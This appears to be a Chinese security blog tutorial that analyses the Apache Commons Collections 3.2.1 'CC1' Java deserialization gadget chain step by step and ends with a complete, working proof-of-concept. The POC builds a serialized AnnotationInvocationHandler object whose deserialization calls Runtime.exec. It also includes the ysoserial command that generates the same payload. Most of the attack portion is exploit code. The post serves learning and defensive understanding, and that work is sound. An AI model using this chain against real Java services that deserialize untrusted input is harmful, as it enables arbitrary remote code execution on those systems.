Java反序列化之Commons-Collections1链

发布于 2021-10-21  1188 次阅读


Commons-Collections1链

Apache Commons Collections介绍


Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

参考链接:https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/

测试环境:

jdk1.7.0_80

commons-collections-3.2.1

漏洞链分析

ysoserial生成POC链:ysoserial 源码地址:https://github.com/angelwhu/ysoserial

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "calc" > 1.ser

从利用点开始到最终POC的形成,一步一步分析。

由于链最后到transform的,那么先从这里开始分析,一步一步往前

首先从InvokerTransformer类中的transform方法开始:

这是cc链RCE的核心

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

可以看到上面的这个方法就是通过Java反射,调用input类中的任意方法。并且方法名和参数,在构造函数中传入,是可控的。

//InvokerTransformer的构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

先看命令执行的函数:

Runtime.getRuntime().exec("calc"); //弹出计算器
//第一步:通过反射调用exec
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method exec = c.getMethod("exec", String.class);
exec.invoke(r,"calc");
//第二步:怎么通过InvokerTransformer类中的transform方法调用exec
//可以看到这个方法就相当于将前面的三条语句写道了函数transform里面
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")}).transform(r);
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    //        Runtime.getRuntime().exec("calc");
    Runtime r = Runtime.getRuntime();
    //        Class c = Runtime.class;
    //        Method exec = c.getMethod("exec", String.class);
    //        exec.invoke(r,"calc");
    //InvokerTransformer构造方法需要三个参数:String methodName, Class[] paramTypes, Object[] args
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")}).transform(r);
}

通过IDEA看谁调用了transform函数:快捷键Alt+F7

image-20211021140104708

image-20211021140150011

总共21个使用,接下来就是寻找利用的过程了,这是非常艰辛的。由于我们知道链是什么,所以就直接以map中的checkSetValue为例往下找

image-20211021140828742

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

看这个类TransformedMap的构造函数,保护的,只能被自己调用。然后静态方法decorate调用了构造函数

//这个类就相当与对java自带的map添加了新的功能,所以传入了keyTransformer和valueTransformer
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

现在到这里我们看看代码是如何利用的

//        Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method exec = c.getMethod("exec", String.class);
//        exec.invoke(r,"calc");
//InvokerTransformer构造方法需要三个参数:String methodName, Class[] paramTypes, Object[] args
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
//invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
//这里用到了valueTransformer = invokerTransformer,这样当调用checkSetValue时,就会调用InvokerTransformer.transform,弹出calc
TransformedMap.decorate(map,null,invokerTransformer);

看谁调用了checkSetValue:可以看见只有TransformedMap父类AbstractInputCheckedMapDecorator调用了,是一个抽象类。然后内部的MapEntry类中调用了checkSetValue

image-20211021142724978

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

再看谁调用了setValue,会发现这里有很多。实际上如果想一下Entry是干什么的话,就能明白这个代码是干什么的。

我们看一下在Java中,Map里的Entry是什么:

Map是java中的接口,Map.Entry是Map的一个内部接口。

Map提供了一些常用方法,如keySet()、entrySet()等方法。

keySet()方法返回值是Map中key值的集合;entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry

Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。接口中有getKey、getValue、setValue等方法。

由于Map中存放的元素均为键值对,故每一个键值对必然存在一个映射关系。 Map中采用Entry内部类来表示一个映射项,映射项包含Key和Value (我们总说键值对键值对, 每一个键值对也就是一个Entry) Map.Entry里面包含getKey()和getValue()方法

//如何遍历一个Map
for (Map.Entry entry : map.entrySet()) {
 System.out.println("key= " + entry.getKey() + " and value= " + entry.getValue());
}
//可以看到这里的entry就代表一个键值对,通过getKey()和getValue()方法得到键值

现在就可以理解,这里的setValue,实际上相当于之前的setValue的重写。因为TransformedMap最终是继承于Map

所以我们也可以遍历TransformedMap中的Entry:这里可以下断点调试,成功弹出calc,可以看到这里需要对Map非常熟悉才能发现这点

    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
//        Runtime.getRuntime().exec("calc");
        Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method exec = c.getMethod("exec", String.class);
//        exec.invoke(r,"calc");
        //InvokerTransformer构造方法需要三个参数:String methodName, Class[] paramTypes, Object[] args
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
        //invokerTransformer.transform(r);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        //这里用到了valueTransformer = invokerTransformer,这样当调用checkSetValue时,就会调用InvokerTransformer.transform,弹出calc
        Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        //通过Entry遍历Map,执行setValue,弹出calc
        for(Map.Entry<Object, Object> entry:traTransformedMap.entrySet()){
            entry.setValue(r);
        }

    }

因此现在我们就需要找到一个Entry,并且调用了setValue方法,并且传入的值需要可控。看看谁调用了setValue

最后在AnnotationInvocationHandler类中的readObject方法中调用了setValue

image-20211021151819397

这里是通过var5调用的setValue,而var5是将this.memberValues转化为迭代器得到的,跟上面的Entry类似。并且在构造函数中这个值可控。

可以注意到,这个类并不是public,无法new出来。因此只能通过反射去实例化这个类

//需要传入一个注解和Map
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

竟然这里已经到readObject了,那么我们就可以通过反序列化去触发calc

public class CC1Test{

    public static void main(String[] args) throws Exception {
//        Runtime.getRuntime().exec("calc");
        Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method exec = c.getMethod("exec", String.class);
//        exec.invoke(r,"calc");
        //InvokerTransformer构造方法需要三个参数:String methodName, Class[] paramTypes, Object[] args
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
        //invokerTransformer.transform(r);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        //这里用到了valueTransformer = invokerTransformer,这样当调用checkSetValue时,就会调用InvokerTransformer.transform,弹出calc
        Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,invokerTransformer);
//        for(Map.Entry<Object, Object> entry:traTransformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);;
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, traTransformedMap);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
    }
}

现在这条链并不能使用的。

链中的两个问题

第一个问题:

在这个链中使用到了Runtime r = Runtime.getRuntime();,但是这个类因为没有继承Serializable接口,所以是不能被序列化的。

解决方法:

虽然Runtime不能被序列化,但是Class类是可以被序列化的,这样就可以通过反射来解决这个问题

//这里就是通过反射来调用exec方法
//Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method RuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) RuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

现在可以通过反射调用exec方法了,然后我们再将其转化为通过InvokerTransformer类中的transform方法调用。

这一步应该是最绕的,需要多理解几遍。

//第一步调用getMethod方法,第一个参数为字符串,第二个参数为Class数组
//Method RuntimeMethod = c.getMethod("getRuntime", null);
Method RuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//第二步调用invoke放,第一个参数为Object,第二个参数为Objec数组
//Runtime r = (Runtime) RuntimeMethod.invoke(null, null);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
//第三步调用exec方法,就跟最开始的时候写调用transform方法一样了,第一个参数为字符串
//Method execMethod = c.getMethod("exec", String.class);
//execMethod.invoke(r, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")}).transform(r);

这一步应该是最绕的,如果直接看这个三条语句可能会懵逼,看很久都不知道为什么这么写。但是先写反射调用exec方法,再将其通过InvokerTransformer类中的transform方法调用,就容易理解些了。

现在传入的值就可以被序列化了

注意看这里就是transform的循环调用.

这里就用到了前面图中所标注的ChainedTransformer

这个类中也重写了transformer

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

看一下构造函数:iTransformers可控

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

这样我们就构造一个数组,里面的值为三个不同的InvokerTransformer,这样就可以循环调用transformer。下面的同样弹出calc

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

第二个问题:

因此有个问题是要求在setValue的时候,传入的值必须可控,但是从下面的代码的可以看出这里并不是可控的

if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}

解决方法:

现在我们的链大致长这样

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);;
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, traTransformedMap);
serialize(o);
unserialize("ser.bin");

readObject下断点分析一下

image-20211021163003059

首先这个this.type就是我们传入的第一个参数Override.class,得到其对象,再获取成员变量。但是注解Override没有成员变量。

对我们传入的Map:memberValues迭代

image-20211021163717630通过(Entry)var4.next();得到我们put进去的第一个键值对,也就是map.put("key", "value");

然后通过(Class)var3.get(var6);去查找var3中的成员变量var6,也就是key。可以看到下图中的var7null,这是因为Override没有成员变量为value的。这就不会走到setValue方法。

image-20211021164204549

现在就先一个注解有成员变量,并且将key改为成员变量的名字就解决了

map.put("value", "value");
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, traTransformedMap);

现在已经走到setValue了,但是参数还是不可控的。

ConstantTransformer类中也重写了transform方法,下面是它的构造函数和transform方法。

可以看到,无论transform传入什么,都返回iConstant,并且可控。

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}

使用这个transform就实现了无论setValue传入什么,我们只要控制iConstant就好了

因此在transformers数组中添加ConstantTransformer类即可

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
};

最后就将整个链成功连接起来了。看一下最终的POC

最终POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test{

    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");
        Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);;
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, traTransformedMap);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        ois.readObject();
    }
}

最后调试理一下流程:

image-20211021170652625

先走到setValue,参数为AnnotationTypeMismatchExceptionProxy实例

再到AbstractInputCheckedMapDecorator类中调用checkSetValue方法

image-20211021170819840

进入到checkSetValue中调用transform方法,可以看到valueTransformer的类为ChainedTransformer,对应POC的这几条语句

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> traTransformedMap = TransformedMap.decorate(map,null,chainedTransformer);

image-20211021171002683

最后进入到ChainedTransformer中调用transform循环调用transformers的中的transform实现RCE。可以看到虽然输入为其它的类,但是返回的还是Runtime.class

image-20211021171310595

自此cc1链分析完毕

总结

由于刚学Java反序列化,在CC链上停留了很久,总是一知半解的状态。究其原因还是对Java不够了解,导致很多东西不知道,遇到的时候就得花很多时间去查找资料。另外确实我绝对Java反序列化相比较PHP反序列化而言,分析的复杂程度还是要大需要的。所以有时候分析分析就没有心思看下去了。另外我是对着B站上一位师傅的视频,写下的这一篇CC链。强烈推荐刚开始学习Java反序列化的师傅们去看,讲的很好,也很清楚明白。链接放在参考链接中了。

参考链接

https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.999.0.0


沙上有印,光中有影!